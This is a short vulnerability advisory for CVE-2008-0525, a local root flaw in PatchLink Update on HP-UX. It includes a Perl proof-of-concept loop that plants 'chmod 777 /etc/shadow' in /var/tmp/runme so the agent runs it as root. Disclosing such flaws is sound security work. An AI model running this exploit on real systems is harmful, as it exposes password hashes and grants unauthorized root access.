The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2008-01-17
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

Patchlink local root for HP-UX Shutdown and reboot

#843 · 2008-01-17
CVE ID(s): CVE-2008-0525
Notified: 2008-01-17
Description:
PatchLink Update provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.
Exploit:
#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`; 
}

Notes:
41152